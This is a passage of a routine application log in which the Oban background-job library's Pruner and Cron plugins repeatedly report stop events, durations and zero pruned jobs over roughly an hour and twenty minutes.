{"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.760 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:19.700 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:49.702 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.761 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:19.704 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:49.706 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.762 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:19.708 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:49.710 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.763 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:19.712 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:49.713 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.764 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:19.716 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:49.718 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.765 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:19.720 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:49.722 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.766 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:19.724 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:49.726 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.767 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:19.728 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:49.730 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.768 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:19.732 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:49.734 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.769 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:19.736 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:49.738 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.770 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:19.740 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:49.742 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.771 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:19.744 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:49.746 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.772 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:19.748 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:49.750 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.773 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:19.752 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:49.754 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.774 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:19.756 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:49.758 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.775 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:19.760 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:49.762 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.776 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:19.764 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:49.766 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.777 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:19.768 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:49.770 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.778 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:19.772 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:49.774 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.779 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:19.776 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:49.778 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.780 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:19.780 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:49.782 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.781 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:19.784 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:49.786 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.782 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:19.788 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:49.790 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.783 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:19.792 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:49.794 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.784 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:19.796 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:49.798 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.785 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:19.800 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:49.802 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.786 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:19.804 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:49.806 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.787 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:19.808 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:49.810 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.788 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:19.812 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:49.814 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.789 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:19.816 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:49.818 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.790 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:19.820 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:49.822 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.791 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:19.824 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:49.826 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.792 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:19.828 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:49.830 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.793 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:19.832 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:49.834 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.794 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:19.836 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:49.838 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.795 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:19.840 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:49.842 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.796 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:19.844 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:49.846 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.799 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:19.848 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:49.850 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.802 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:19.852 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:49.854 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.803 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:19.856 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:49.858 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.804 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:19.860 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:49.862 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.805 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:19.864 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:49.866 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.806 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:19.868 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:49.870 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.807 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:19.872 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:49.874 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.808 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:19.876 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:49.878 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.809 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:19.880 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:49.882 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.810 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:19.884 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:49.886 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.811 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:19.888 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:49.890 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.812 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:19.892 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:49.894 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.813 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:19.896 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:49.898 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.814 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:19.900 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:49.902 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.815 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:19.904 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:49.906 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.816 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:19.909 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:49.912 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.817 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:19.914 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:49.916 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.818 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:19.918 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:49.920 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.819 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:19.922 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:49.924 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.820 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:19.926 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:49.928 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.821 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:19.930 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:49.932 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.822 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:19.934 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:49.936 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.823 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:19.938 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:49.940 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.824 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:19.942 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:49.944 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.825 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:19.946 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:49.948 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.826 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:19.950 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:49.952 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.827 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:19.954 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:49.956 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.828 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:19.958 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:49.960 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.829 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:19.962 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:49.964 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.830 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:19.966 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:49.968 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.831 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:19.970 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:49.972 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.832 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:19.975 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:49.977 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.833 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:19.979 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:49.981 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.834 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:19.983 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:49.985 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.835 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:19.987 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:49.989 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.836 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:19.991 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:49.993 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.837 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:19.995 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:49.997 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.838 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:19.999 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:50.001 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.839 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:20.003 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:50.005 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.840 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:20.007 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:50.009 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.841 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:20.011 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:50.013 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.842 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:20.015 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:50.017 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.843 [info] 